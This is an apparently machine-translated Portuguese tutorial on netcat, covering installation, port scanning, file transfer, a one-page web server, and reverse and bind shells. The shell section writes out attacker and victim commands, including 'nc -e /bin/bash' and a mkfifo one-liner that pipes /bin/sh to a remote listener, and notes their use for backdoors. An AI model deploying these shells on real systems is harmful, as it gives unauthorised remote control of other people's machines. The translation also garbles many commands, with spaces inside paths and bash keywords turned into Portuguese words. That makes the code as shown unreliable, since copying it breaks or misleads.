Uma breve diferença entre netcat-traditional e netcat-openbsd
Existem dois pacotes semelhantes disponíveis para netcat com uma ligeira diferença entre eles.
netcat-tradicional inclui uma opção '-e' adicional que pode ser usada para vincular um programa (i.e bash) com netcat. Este recurso é muito útil para fins de administração remota.
netcat-openbsd tem algum suporte adicional para IPv6 e proxies.
Instalação Netcat
Embora o netcat venha pré-instalado na maioria das distribuições Linux, se não estiver, ele pode ser instalado facilmente usando os seguintes comandos.
Para embalagem tradicional,
[email protegido]: ~ $ sudo apt-get install netcat-traditionalPara a versão openbsd,
[email protegido]: ~ $ sudo apt-get install netcat-openbsdO Netcat para Windows pode ser baixado aqui https: // sourceforge.net / projects / nc110 / files /.
Agora vamos explorar alguns casos de uso interessantes do netcat
Verificação de portas usando netcat
Para procurar portas abertas, use a opção '-z'. O Netcat tentará se conectar a todas as portas sem enviar quaisquer dados ou dados muito limitados no caso UDP. Digite o seguinte
[email protegido]: ~ $ nc -z -v hackme.org 80... recorte ..
hackear-me.org [217.78.1.155] 80 (http) aberto
Para procurar uma gama de portas, digite
[email protegido]: ~ $ nc -z -nv 192.168.100.72 20-80(DESCONHECIDO) [192.168.100.72] 80 (http) aberto
(DESCONHECIDO) [192.168.100.72] 22 (ssh) aberto
Transferência de arquivos com netcat
Outro caso de uso útil do netcat é a transferência de arquivos entre computadores remotos. Você pode enviar textos e arquivos binários de um PC para outro PC. Tentaremos enviar um arquivo “arquivo.pdf ”do PC Linux para o PC Windows [IP 192.168.100.72] usando netcat como exemplo.
Na máquina Windows (receptor), digite o seguinte
C: \ Usuários> nc -nvlp 1337> arquivo.pdfOuvindo em [0.0.0.0] (família 2, porta 1337)
Na máquina Linux (remetente), digite o seguinte
[email protegido]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfConexão a 192.168.100.72 1337 porta [tcp / *] bem-sucedida!
Administração Remota com netcat
Um dos melhores casos de uso do netcat é a administração remota, o que significa que você pode controlar o PC de outra pessoa usando o netcat. O Netcat-traditional vem com a opção '-e' que pode ser usada para vincular um programa (i.e cmd.exe no Windows ou bash no Linux) com uma porta, o que significa que o netcat atuará como comunicador entre o programa e o PC remoto. O Netcat receberá comandos do PC remoto, executará no sistema local e enviará os resultados de volta ao PC remoto. Este recurso é amplamente utilizado para fins maliciosos, para manter backdoors em PCs e servidores. Este recurso está disponível apenas no netcat-traditional, mas com um pequeno truque, o netcat-openbsd também pode ser usado para o mesmo propósito. Você pode usar duas maneiras de controlar o PC de outras pessoas.
Em um Shell reverso conexão, um invasor escuta em uma porta e espera que uma conexão seja enviada da máquina da vítima. É usado quando o computador da vítima está atrás de NAT ou não tem IP público.
Para obter um shell reverso usando o netcat, você precisa ouvir em uma porta usando o netcat. Digite o seguinte na máquina do invasor,
[email protegido]: ~ $ nc -nvlp 1337Ouvindo em [0.0.0.0] (família 2, porta 1337)
Na máquina da vítima (se netcat-tradicional está instalado)
// substitua “/ bin / bash” por “cmd.exe ”no caso do Windows
[email protegido]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashPara netcat-openbsd (onde a opção “-e” não é suportada)
[email protegido]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Enquanto em um Bind Shell conexão, o invasor liga uma porta na máquina da vítima e se conecta a essa porta usando o soquete do cliente. É usado quando a máquina do invasor está atrás de NAT ou não tem um IP público.
Na máquina da vítima, digite
[email protegido]: ~ $ nc -nlvp 1337 -e / bin / bashouvindo em [qualquer] 1337 ..
Agora, para executar comandos na máquina da vítima, digite
[email protegido]: ~ $ nc -nv 127.0.0.1 1337Conexão a 127.0.0.1 1337 porta [tcp / *] bem-sucedida!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupos = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Servidor web simples usando netcat
Você também pode fazer outro truque simples para usar o netcat como um servidor web mínimo de página única. Este servidor web seria muito simples, sem configurações especiais, e usaremos para enviar nosso código HTML para o navegador.
[email protegido]: ~ $ enquanto verdadeiro; faça echo -e "HTTP / 1.1 200 OK \ n \ n $ (echo "
My Simple Webserver using netcat
")" | nc -nvlp 1337; feitoOuvindo em [0.0.0.0] (família 2, porta 1337)
Agora, tente buscar a página da web usando curl
[email protegido]: ~ $ curl http: // 127.0.0.1: 1337 /My Simple Webserver using netcat
Especifique o tempo limite para uma sessão netcat
Você pode especificar o tempo limite para uma sessão netcat usando a opção “-w”. O Netcat desconectará automaticamente sua sessão após o tempo especificado expirar.
// -w [Tempo em segundos][email protegido]: ~ $ nc -w 40 -nvlp 1337
Ouvindo em [0.0.0.0] (família 2, porta 1234)
Continue ouvindo mesmo se o cliente fechar a conexão
No modo normal, o servidor netcat desliga e para de escutar na porta quando um cliente fecha a conexão. Você pode manter o servidor ativo usando a opção “-k”
[email protegido]: ~ $ nc -k -nlvp 1234Ouvindo em [0.0.0.0] (família 2, porta 1234)
Conclusão
Netcat é um utilitário simples, mas eficiente, que pode ser usado para muitas tarefas diárias simples. Ele vem pré-instalado em quase todos os sistemas operacionais UNIX e pode ser usado para várias tarefas, como comunicação entre dois PCs, transferência de arquivos e muito mais.